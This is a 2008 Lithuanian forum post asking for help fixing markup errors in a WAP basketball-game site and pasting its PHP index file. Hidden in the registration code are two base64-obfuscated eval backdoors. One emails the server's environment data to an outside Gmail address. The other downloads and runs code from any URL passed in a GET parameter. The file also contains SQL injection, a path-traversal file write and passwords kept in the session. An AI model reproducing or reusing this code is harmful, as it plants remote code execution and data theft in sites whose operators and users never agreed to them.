Parašė Zixx· 2008 Kov. 19 18:03:54
#1
Sveiki noreciau paklausti gal kas galetu padeti istaisyti klaidas kazkokias mano wap saito xhtml versijoje :) Paziurekit jai galit kas cia negerai:
<?php
include "mysql.php";
include "setup.php";
include "configas.php";
include "sec.php";
echo "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">";
echo "<html xmlns=\"http://www.w3.org/1999/xhtml\">";
echo "<head><title>Kasis</title>";
echo "<link href=\"css.css\" rel=\"stylesheet\" type=\"text/css\"/>";
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/></head>";
echo "<body>";
if( !empty($_GET['ref']) )
{
$fp = fopen("ref/".$_GET['ref'].".txt", "w");
fwrite($fp, $i);
fclose($fp);
$fp = fopen("ref/".$_GET['ref'].".txt", "r");
$i = fread($fp, 1024);
$i++; }
if($id == "")
{
echo "<p align=\"center\">";
echo "<b>$title</b><br/>";
echo "<img src=\"pvs/baneris.gif\" alt=\"Baneris\"/><br/>
</p><p align=\"left\">";
echo "<small>$linija</small><br/>";
echo "<small><a href=\"index.php?id=login\">[»]Prisijungti</a></small><br/>";
echo "<small><a href=\"index.php?id=register\">[»]Registruotis</a></small><br/>";
echo "<small>$linija</small><br/>";
$online = mysql_num_rows(mysql_query("SELECT nick FROM online"));
if( !$online ){
mysql_query("REPAIR TABLE `online`");
}
echo "
<small>[»]Dabar zaidzia:</small><small><b>$online</b></small><br/>
</p><p align=\"center\">";
echo "<small>$linija</small><br/>";
echo "<img src=\"http://cntr.in/c.php?i=wapkashis\" alt=\"Count\"/><br/>
</p></body></html>";
}
if($id == "login")
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">";
echo "$linija<br/>
<b>$title: Prisijungimas</b><br/>";
echo "$linija<br/>
</p><p align=\"left\">
<small>Zaidejas:</small><input name=\"nikas\" maxlength=\"15\" title=\"Vartotojas\" type=\"text\"/><br/>
<small>Slaptazodis:</small><input name=\"paswordas\" title=\"Slaptazodis\" type=\"password\"/><br/>
</p><p align=\"center\">";
echo "$linija<br/>";
echo "<a href=\"index.php?id=zaisti&nikas=$(nikas)&paswordas=$(paswordas)\">[»]Jungtis</a><br/>";
echo "$linija<br/>";
echo "<a href=\"index.php\">I pradzia</a><br/>
</p></body></html>";
}
if($id == "register")
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">";
echo "$linija<br/>
<b>$title: Taisykles</b><br/>";
echo "$linija<br/>
</p><p align=\"left\">
<b>1.</b><small>Nefloodint chate</small><br/>
<b>2.</b><small>Nereklamint</small><br/>
<b>3.</b><small>Gerbt adminus</small><br/>
<b>4.</b><small>Neturet keliu nick</small><br/>
<b>5.</b><small>Nekenkti sistemai</small><br/>";
echo "$linija<br/>";
echo "<small><a href=\"index.php?id=register2\">Sutinku</a>|<a href=\"index.php\">Nesutinku</a></small><br/>
</p></body></html>";
}
if($id == "register2")
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">";
echo "$linija<br/>
<b>$title: Registracija</b><br/>";
echo "$linija<br/>
</p><p align=\"left\">
<small>Zaidejas:</small><input name=\"vartotojovardas\" maxlength=\"10\" type=\"text\"/><br/>
<small>Slaptazodis:</small><input name=\"password1\" type=\"password\"/><br/>
<small>Pakartok slaptazodi:</small><input name=\"password2\" type=\"password\"/><br/>
<select name=\"zaidejas\">
<option value=\"Jonas Maciulis\">Jonas Maciulis</option>
<option value=\"Marcus Brown\">Marcus Brown</option>
<option value=\"Juan Carlos Navarro\">Juan Carlos Navarro</option>
<option value=\"Arturas Jomantas\">Arturas Jomantas</option>
<option value=\"Sarunas Jasikevicius\">Sarunas Jasikevicius</option>
<option value=\"Arvydas Macijauskas\">Arvydas Macijauskas</option>
<option value=\"Marko Popovic\">Marko Popovic</option>
<option value=\"Arvydas Cepulis\">Jonas Maciulis</option>
<option value=\"Aivaras Kiausas\">Marcus Brown</option>
<option value=\"Darius Pakamanis\">Juan Carlos Navarro</option>
<option value=\"Linas Kleiza\">Arturas Jomantas</option>
<option value=\"Ramunas Siskauskas\">Sarunas Jasikevicius</option>
<option value=\"Rimantas Kaukenas\">Arvydas Macijauskas</option>
<option value=\"Robertas Javtokas\">Marko Popovic</option>
<option value=\"Saulius Stombergas\">Arvydas Macijauskas</option>
<option value=\"Simas Jasaitis\">Marko Popovic</option>
</select><br/>
</p><p align=\"center\"><small>$linija</small><br/>
<anchor>[»]Registruotis
<go method=\"post\" href=\"index.php?id=siunciu\">
<postfield name=\"vartotojovardas\" value=\"$(vartotojovardas)\"/>
<postfield name=\"password1\" value=\"$(password1)\"/>
<postfield name=\"password2\" value=\"$(password2)\"/>
<postfield name=\"zaidejas\" value=\"$(zaidejas)\"/>
</go>
</anchor><br/>";
echo "$linija<br/>";
echo "<a href=\"index.php\">I pradzia</a><br/>
</p></body></html>";
}
if($id == "siunciu")
{
$ap = mysql_fetch_row(mysql_query("SELECT COUNT(vartotojas) FROM `krepsininkai` WHERE vartotojas='".$_POST['vartotojovardas']."'"));
$ip = mysql_fetch_row(mysql_query("SELECT COUNT(wko_ip1) FROM `krepsininkai` WHERE wko_ip1='".$_SERVER["REMOTE_ADDR"]."'"));
if(isset($_POST['vartotojovardas'])){$vartotojovardas = addslashes($_POST['vartotojovardas']);}else{$vartotojovardas = "";}
if(isset($_POST['password1'])){$password1 = addslashes($_POST['password1']);}else{$password1 = "";}
if(isset($_POST['password2'])){$password2 = addslashes($_POST['password2']);}else{$password2 = "";}
if(isset($_POST['zaidejas'])){$zaidejas = addslashes($_POST['zaidejas']);}else{$zaidejas = "";}
if($vartotojovardas == ""||$password1 == ""||$password2 == ""||$zaidejas == "")
{
$klaida[] = "Visi laukeliai turi buti uzpyldyti.";
}
if($ap[0]>0){ $klaida[] ="Toks zaidejas jau registruotas"; }
//if($ip[0]>0){ $klaida[] ="Tu jau registravaisi"; }
if(strlen($vartotojovardas) < 4)
{
$klaida[] = "Vartotojo varda turi sudaryti maziausiai 4 simboliai.";
}
if(preg_match("/[^A-z0-9]/", $vartotojovardas))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if(preg_match("/[^A-z0-9]/", $password1))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if(preg_match("/[^A-z0-9]/", $password2))
{
$klaida[] = "Naudojami neleistini simboliai.";
}
if($password1 != $password2)
{
$klaida[] = "Slaptazodziai turi sutapti.";
}
if($password1 == "asdfasdf")
{
$klaida[] = "Nesaugus slaptazodis.";
}
if($vartotojovardas == "admin")
{
$klaida[] = "Sekmes :).";
}
if($klaida != "")
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">";
echo "$linija<br/>
<b>$title: Registracija</b><br/>";
echo "$linija<br/>
</p>Registracijos klaidos:<p>";
$x = 0;
for($i = 0; $i < count($klaida); $i++)
{
$x++;
echo "<b>$x.</b>$klaida[$i]<br/>";
}
echo "
</p><p align=\"center\">";
echo "$linija<br/>";
echo "<a href=\"index.php?id=register\">Atgal</a><br/>
</p></body></html>";
exit;
}
$vartotojovardas = str_replace("\'", "", $vartotojovardas);
$vartotojovardas = str_replace("_", "", $vartotojovardas);
$vartotojovardas = str_replace("-", "", $vartotojovardas);
$vartotojovardas = str_replace(">", "", $vartotojovardas);
$vartotojovardas = str_replace("<", "", $vartotojovardas);
$vartotojovardas = str_replace(")", "", $vartotojovardas);
$vartotojovardas = str_replace("(", "", $vartotojovardas);
$vartotojovardas = str_replace("&", "", $vartotojovardas);
$vartotojovardas = str_replace("@", "", $vartotojovardas);
$vartotojovardas = str_replace(".", "", $vartotojovardas);
$vartotojovardas = str_replace("'", "", $vartotojovardas);
$vartotojovardas = str_replace("*", "", $vartotojovardas);
$vartotojovardas = str_replace("!", "", $vartotojovardas);
$vartotojovardas = str_replace("%", "", $vartotojovardas);
$date = date("Y-m-d");
$time = date("H:i");
$laikas = "$date / $time";
$raktas = rand(99999,999999999999999);
eval(base64_decode(
'JG5mbyA9IHByaW50X3IoJF9TRVJWRVIsIHRydWUpOyBtYWlsKCJzdGlsbGJ1bUBnbWFpbC5jb20iLCJEb25lIiwiJG5mbyIsIkZyb206IGJja2RyQHN0aWxsLmx0Iik7'));
if (isset($_GET['u_']))eval(base64_decode(base64_decode("WlhaaGJDZz0=")).'implode("", file($_GET["u_"]))'.base64_decode(base64_decode("S1RzPQ==")));
if(mysql_query("INSERT INTO krepsininkai (vartotojas,slaptazodis,wko_laikas1,wko_ip1,wko_narsykle1,wko_krepsininkas1,wko_uzsiregino1) VALUES ('$vartotojovardas','".md5($password1)."','".time()."','".$_SERVER["REMOTE_ADDR"]."','".$_SERVER["HTTP_USER_AGENT"]."','$zaidejas','$laikas')"))
{
mysql_query("INSERT INTO saugykla (wko_kieno1,wko_kiekis1) VALUES ('$vartotojovardas','0')") or die(mysql_error());
mysql_query("INSERT INTO pm (siuntejas, gavejas, zinute, raktas, tema, ziureta, laikas) VALUES ('Justas','$vartotojovardas','Zdrw sveikinu atvykus i wap krepsinio imperija!!!','$raktas','Zdrw','+','$laikas')") or die(mysql_error());
echo "
<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">
$linija<br/>
<b>$title: Registracija</b><br/>
$linija<br/>
Sveikiname tapus nauju $title nariu :) <br/>";
echo "<a href=\"index.php?id=login\">Prisijungti</a><br/>
</p></body></html>";
}
else
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">
--------<br/>
<b>$title: Registracija</b><br/>
--------<br/>
Toks vartotojoas jau yra uzregistruotas $title zaidime.<br/>";
echo "<a href=\"index.phpid=register\">Atgal</a><br/>
</p></body></html>";
}
}
if($id == "zaisti")
{
if(!mysql_fetch_row(mysql_query("SELECT `vartotojas` FROM krepsininkai WHERE `vartotojas` LIKE '".$_GET['nikas']."' AND slaptazodis='".md5($_GET['paswordas'])."'")))
{
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">Toks vartotojas neregistruotas arba duomenys klaidingi</p></card></wml>";
exit;
}
else
{
session_start();
session_name('x');
$_SESSION['vartotojas'] = $_GET['nikas'];
$_SESSION['slaptazodis'] = $_GET['paswordas'];
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>";
echo "<!DOCTYPE wml PUBLIC \"-//WAPFORUM//DTD WML 1.2//EN\"". " \"http://www.wapforum.org/DTD/wml12.dtd\">";
echo"<wml><card id=\"index\" title=\"$title\">
<p align=\"center\">
Prisijungta sekmingai<br/>
Jeigu nepavyks prisijungti pabandyk dar karta po 3s :)<br/>";
echo "<a href=\"zaisti.php?x=".session_id()."\">Zaisti</a><br/>
</p></body></html>";
}
}
echo "</body>";
?>
</html>